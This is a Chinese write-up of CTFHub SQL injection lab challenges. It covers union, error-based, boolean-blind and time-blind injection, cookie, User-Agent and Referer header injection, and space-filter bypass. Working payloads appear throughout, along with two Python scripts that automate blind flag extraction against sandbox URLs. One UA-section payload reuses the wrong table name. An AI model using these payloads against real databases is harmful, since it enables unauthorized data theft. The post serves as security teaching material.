ctfhub技能树 web sql注入

news2025/1/12 12:24:52

1.整型注入

页面正常时
在这里插入图片描述
判断注入字段数

?id=1 order by 2

判断注入回显位

?id=-1 union select 1,2

在这里插入图片描述
查数据库

?id=-1 union select 1,database()

库名:sqli
查数据表

?id=-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()

表名:flag,news
查flag表中的字段名

?id=-1 union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='flag'

字段名:flag
查数据

?id=-1 union select 1,flag from sqli.flag

2.字符型注入
判断闭合符号
在这里插入图片描述
可以看出是单引号闭合
判断字段数

?id=1' order by 2-- +

查回显位,1和2都是

?id=-1' union select 1,2-- +

查数据库名,为sqli

?id=-1' union select 1,database()-- +

查表名,为flag和news

?id=-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()-- +

查flag表中的字段名,为flag

?id=-1' union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='flag'-- +

查数据

?id=-1' union select 1,flag from sqli.flag-- +

3.报错注入

判断注入类型
在这里插入图片描述
可以看出是整型注入
这题联合查询用不了
在这里插入图片描述

查数据库名,为sqli

?id=1 and updatexml(1,concat(0x7e,(select database()),0x7e),1)

查表名,为flag和news

?id=1 and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)

查flag表中的字段名,为flag

?id=1 and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='flag'),0x7e),1)

查数据

?id=1 and updatexml(1,concat(0x7e,(select flag from sqli.flag),0x7e),1)

4.布尔盲注

正常时返回成功
在这里插入图片描述
判断注入类型
整型注入
判断数据库长度

and length(database())=4

判断数据库名第一个字符s,数据库名为sqli

1 and ascii(substr(database(),1,1))=115

……
判断数据库有几个表,2个表

and (select count(table_name) from information_schema.tables where table_schema=database())=2

判断数据库第一个表长度,为4

1 and (select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)=4

……
判断数据库第一个表第一个字符,表名为flag

1 and (select ascii(substr(table_name,1,1)) from information_schema.tables where table_schema=database() limit 0,1 )=102

……
判断表中有几个字段数,为1个

1 and (select count(column_name) from information_schema.columns where table_schema=database() and table_name='flag' )=1

判断第一个字段长度,为4

1 and (select length(column_name) from information_schema.columns where table_schema=database() and table_name='flag' )=4

判断第一个字段第一个字符f,字段名为flag

1 and (select ascii(substr(column_name,1,1)) from information_schema.columns where table_schema=database() and table_name='flag' )=102

判断flag字段有多少条数据

1 and (select count(flag) from sqli.flag)=1

……
判断第一条数据有多长

1 and (select length(flag) from sqli.flag limit 0,1)=32

……
读取数据第一个字符c

1 and (select ascii(substr(flag,1,1)) from sqli.flag limit 0,1 )=99

……
脚本读取flag

import requests
import threading
url='http://challenge-c59b09f3c1343eb5.sandbox.ctfhub.com:10800'
payload='/?id=1+and+(select+ascii(substr(flag,{},1))+from+sqli.flag)={}'
head={'User-Agent':"Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"}
def sql():
    flag = ''
    for j in range(1,33):
        for i in range(0,128):
            url_last=url+payload.format(j,i)
            html=requests.get(url_last,headers=head)
            reponse=html.text
            if 'query_success' in  reponse:
                flag+=chr(i)
    print(flag)
def main():
    s=threading.Thread(target=sql())
    s.start()
if __name__=='__main__':
    main()

5.时间盲注

判断注入类型
整型注入
判断数据库长度

and if(length(database())=4,sleep(5),1)

判断数据库名第一个字符s,数据库名为sqli

1 and if(ascii(substr(database(),1,1))=115,sleep(5),1)

……
判断数据库有几个表,2个表

and if((select count(table_name) from information_schema.tables where table_schema=database())=2,sleep(5),1)

判断数据库第一个表长度,为4

1 and if((select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)=4,sleep(5),1)

……
判断数据库第一个表第一个字符,表名为flag

1 and if((select ascii(substr(table_name,1,1)) from information_schema.tables where table_schema=database() limit 0,1 )=102,sleep(5),1)

……
判断表中有几个字段数,为1个

1 and if((select count(column_name) from information_schema.columns where table_schema=database() and table_name='flag' )=1,sleep(5),1)

判断第一个字段长度,为4

1 and if((select length(column_name) from information_schema.columns where table_schema=database() and table_name='flag' )=4,sleep(5),1)

判断第一个字段第一个字符f,字段名为flag

1 and if((select ascii(substr(column_name,1,1)) from information_schema.columns where table_schema=database() and table_name='flag' )=102,sleep(5),1)

判断flag字段有多少条数据

1 and if((select count(flag) from sqli.flag)=1,sleep(5),1)

……
判断第一条数据有多长

1 and if((select length(flag) from sqli.flag limit 0,1)=32,sleep(5),1)

……
读取数据第一个字符c

1 and if((select ascii(substr(flag,1,1)) from sqli.flag limit 0,1 )=99,sleep(5),1)

……
时间盲注读取flag脚本

import requests
import threading
import time
url='http://challenge-052b38f3b8aab17f.sandbox.ctfhub.com:10800'
payload='/?id=1+and+if((select+ascii(substr(flag,{},1))+from+sqli.flag)={},sleep(3),1)'
head={'User-Agent':"Mozilla/5.0 (Windows NT 10.0; WOW64; rv:52.0) Gecko/20100101 Firefox/52.0"}
def sql():
    flag = ''
    for j in range(1,33):
        for i in range(0,128):
            url_last=url+payload.format(j,i)
            first_time=time.time()
            html=requests.get(url_last,headers=head)
            last_time=time.time()
            if last_time-first_time>3:
                flag+=chr(i)
    print(flag)
def main():
    s=threading.Thread(target=sql())
    s.start()
if __name__=='__main__':
    main()

6.mysql结构

查数据库

?id=-1 union select 1,database()

库名:sqli
查数据表

?id=-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()

表名:lkllkofyac,news
查lkllkofyac表中的字段名

?id=-1 union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='lkllkofyac'

字段名:atljembkez
查数据

?id=-1 union select 1,atljembkez from sqli.lkllkofyac

7.cookie注入

使用burp抓包
判断注入类型为整型
只是把payload放到cookie执行了
在这里插入图片描述

查数据库

id=-1 union select 1,database()

库名:sqli
查数据表

id=-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()

表名:ukocgabixn,news
查ukocgabixn表中的字段名

id=-1 union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='ukocgabixn'

字段名:usnvcwxpkd
查数据

id=-1 union select 1,usnvcwxpkd from sqli.ukocgabixn

8.ua头注入

使用burp抓包
判断注入类型为整型
只是把payload放到ua执行了
在这里插入图片描述
查数据库

-1 union select 1,database()

库名:sqli
查数据表

-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()

表名:xkrxsxuxhv,news
查xkrxsxuxhv表中的字段名

id=-1 union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='ukocgabixn'

字段名:diskzeuwec
查数据

id=-1 union select 1,diskzeuwec from sqli.xkrxsxuxhv

9.refer头注入

判断注入类型
为整型注入
burp抓包,在referer执行
在这里插入图片描述
查数据库

id=-1 union select 1,database()

库名:sqli
查数据表

id=-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()

表名:agdpfmyspz,news
查agdpfmyspz表中的字段名

id=-1 union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='agdpfmyspz'

字段名:erxindbytn
查数据

id=-1 union select 1,erxindbytn  from sqli.agdpfmyspz

10.过滤空格
/**/,%0c,%0b,%09,()都可以
判断注入类型
为整型注入

查数据库

-1/**/union/**/select/**/1,database()

库名:sqli
查数据表

-1/**/union/**/select/**/1,group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database()

表名:svaklakehb,news
查svaklakehb表中的字段名

-1/**/union/**/select/**/1,group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_schema=database()/**/and/**/table_name='svaklakehb'

字段名:dtagvlrclm
查数据

-1 union select 1,dtagvlrclm  from sqli.svaklakehb

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/436176.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

kotlin协程、线程切换,函数方法委托

kotlin协程、线程切换,函数方法委托 一般编程的技法,比如,在Android中,假设在主线程中实现了一个函数,但该函数是耗时操作,毫无疑问,需要将这个函数的实现切入非主线程中操作,那么可…

Springcloud核心组件

在这里总结一下所有组件: springcloud是分布式微服务的一站式解决方案,可以说微服务是一个概念,而springcloud就是这个的实现 springcloud有五大核心组件: 注册中心 引言 由于微服务处于不同的进程,也就是说&…

【软考备战·希赛网每日一练】2023年4月13日

文章目录 一、今日成绩二、错题总结第一题第二题第三题第四题第五题 三、知识查缺 题目及解析来源:2023年04月13日软件设计师每日一练 一、今日成绩 二、错题总结 第一题 解析: 本题有争议,了解即可。 第二题 解析: 上图UML图为…

[计算机图形学]几何:网格处理(前瞻预习/复习回顾)

一、前言 网格的三种处理:网格细分,网格简化,网格正则化,细分会产生更多的三角面片来让模型更加光滑,简化则相反会减少网格的三角面片数量,正则化则会让三角形面更加规则。如上图中最右边两幅图&#xff0…

SpringBoot监听器源码解析

1.1 创建SpringApplication对象 public static ConfigurableApplicationContext run(Class<?>[] primarySources, String[] args) {return new SpringApplication(primarySources).run(args); }SpringApplication(。。){//获取到所有配置的ApplicationListener类型的监…

Android中的多线程编程与异步处理

Android中的多线程编程与异步处理 引言 在移动应用开发中&#xff0c;用户体验是至关重要的。一个流畅、高效的应用能够吸引用户并提升用户满意度。然而&#xff0c;移动应用面临着处理复杂业务逻辑、响应用户输入、处理网络请求等多个任务的挑战。为了确保应用的性能和用户体验…

《springboot实战》第六章 实现自定义全局异常处理

前言 springboot实现自定义全局异常处理&#xff0c;以及统一返回数据。 1、分析 首先&#xff0c;实现全局异常的流程 从图中可以看到&#xff0c;实现全局异常会需要这样几个类&#xff1a; 自定义异常接口类自定义异常枚举类自定义异常类自定义异常处理类自定义全局响应…

藏在GPT背后的治理分歧:那些赞同和反对的人们|AI百态(下篇)

AGI的火种正在燎原。 一面是无可否认的AI生产力&#xff0c;正在赋能千行百业&#xff1b;而另一面&#xff0c;这团火似乎烧向了我们不可控的隐秘角落。 在《AI百态&#xff08;上篇&#xff09;——ChatGPT的“N宗罪”》中&#xff0c;我们提到监管重锤在落下&#xff0c;意大…

安装 Docker和基本操作实验文档

一、安装 Docker 目前 Docker 只能支持 64 位系统。 systemctl stop firewalld.service setenforce 0 #安装依赖包 yum install -y yum-utils device-mapper-persistent-data lvm2 yum-utils&#xff1a;提供了 yum-config-manager 工具。device mapper&#xff1a; 是Li…

分布式系统概念和设计-操作系统中的支持和设计

分布式系统概念和设计 操作系统支持 中间件和底层操作系统的关系&#xff0c;操作系统如何满足中间件需求。 中间件需求:访问物理资源的效率和健壮性&#xff0c;多种资源管理策略的灵活性。 任何一个操作系统的目标都是提供一个在物理层&#xff08;处理器&#xff0c;内存&a…

【网络安全】Xss漏洞

xss漏洞 xss漏洞介绍危害防御方法xss测试语句xss攻击语句1. 反射性xss2.存储型xss3.DOM型xssdvwa靶场各等级渗透方法xss反射型&#xff08;存储型方法一致&#xff09;LowMediumHightimpossible Dom型LowMediumHight xss漏洞介绍 定义&#xff1a;XSS 攻击全称跨站脚本攻击&am…

Twitter|GraphJet:推特的实时内容推荐(论文+源码解读)

以下内容具有主观性&#xff0c;有些问题的理解和回答不一定准确&#xff0c;仅供参考。翻译不确定的后面都有原文。 1.论文 1.1论文的动机是什么&#xff1f; 作者在追溯基于图推荐的系统的进化过程&#xff0c;发现了两大趋势&#xff08;更快更广&#xff09;。 趋势一是…

MySQL ,MyBatis 1.参数占位符 2. ParameterType 3. SQL 语句中特殊字符处理

1.参数占位符&#xff1a; 1&#xff09;#{}&#xff1a;执行sql时&#xff0c;会将#仔占位符替换为&#xff1f;&#xff0c;将来自动设置参数值 2&#xff09;${}&#xff1a;拼SQL。会存在SQL注入问题 3.使用时机&#xff1a; * 参数传递&#xff0c;都使用#{} *如果要对表名…

Elasticsearch:保留字段名称

作为 Elasticsearch 用户&#xff0c;我们从许多不同的位置收集数据。 我们使用 Logstash、Beats 和其他工具来抓取数据并将它们发送到 Elasticsearch。 有时&#xff0c;我们无法控制数据本身&#xff0c;我们需要管理数据的结构&#xff0c;甚至需要在摄取数据时处理字段名称…

腾讯云轻量服务器测评:4核8G12M带宽流量CPU限制说明

腾讯云轻量4核8G12M服务器446元一年&#xff0c;之前是4核8G10M配置&#xff0c;现在公网带宽和月流量包整体升级&#xff0c;系统盘为180GB SSD盘&#xff0c;每月2000GB免费流量&#xff0c;如果是选择买赠专区的4核8G12M配置是518元15个月&#xff0c;腾讯云百科来详细说下4…

MyBatis插入时获取自增id

关于MyBatis在插入时获取自增id 1.1 注释方法 Insert("insert into book(bid, bname, price, number, cratedate) values(null,#{bname},#{price},#{number},#{cratedate}) ")int add(Book book); //注意&#xff1a;在mapper中是不能重载的这里我特意写为add01Ins…

【力扣-JZ22】链表中倒数第k个结点

&#x1f58a;作者 : Djx_hmbb &#x1f4d8;专栏 : 数据结构 &#x1f606;今日分享 : "把手插进米堆的原因 " : 因为米堆类似于高密度的流体&#xff0c;会给人的手带来较大的压强&#xff0c;这种压强促进静脉血回流&#xff0c;会让人感到生理上的舒服。 文章目…

临床决策曲线分析如何影响预测模型的使用和评价

目前&#xff0c;临床决策曲线分析&#xff08;clinical decision curve analysis, DCA&#xff09;在业界已经被超过1500文献使用&#xff0c;也被多个主流的临床杂志所推荐&#xff0c;更被写进了临床预测模型撰写标准&#xff08;TRIPOD&#xff09;中&#xff0c;但是许多预…

OpenCV实例(七)汽车检测

OpenCV实例&#xff08;七&#xff09;汽车检测 1.概述2.代码实例3.代码功能 作者&#xff1a;Xiou 1.概述 对于图像和视频检测中的目标类型并没有具体限制&#xff0c;但是&#xff0c;为了使结果的准确度在可接受范围内&#xff0c;需要一个足够大的数据集&#xff0c;包括…

mongodb数据库索引介绍与优化选择

数据库开发系列 文章目录 数据库开发系列前言一、基础篇二、提高篇总结 前言 一、基础篇 MongoDB 索引 索引通常能够极大的提高查询的效率&#xff0c;如果没有索引&#xff0c;MongoDB在读取数据时必须扫描集合中的每个文件并选取那些符合查询条件的记录。 这种扫描全集合的查…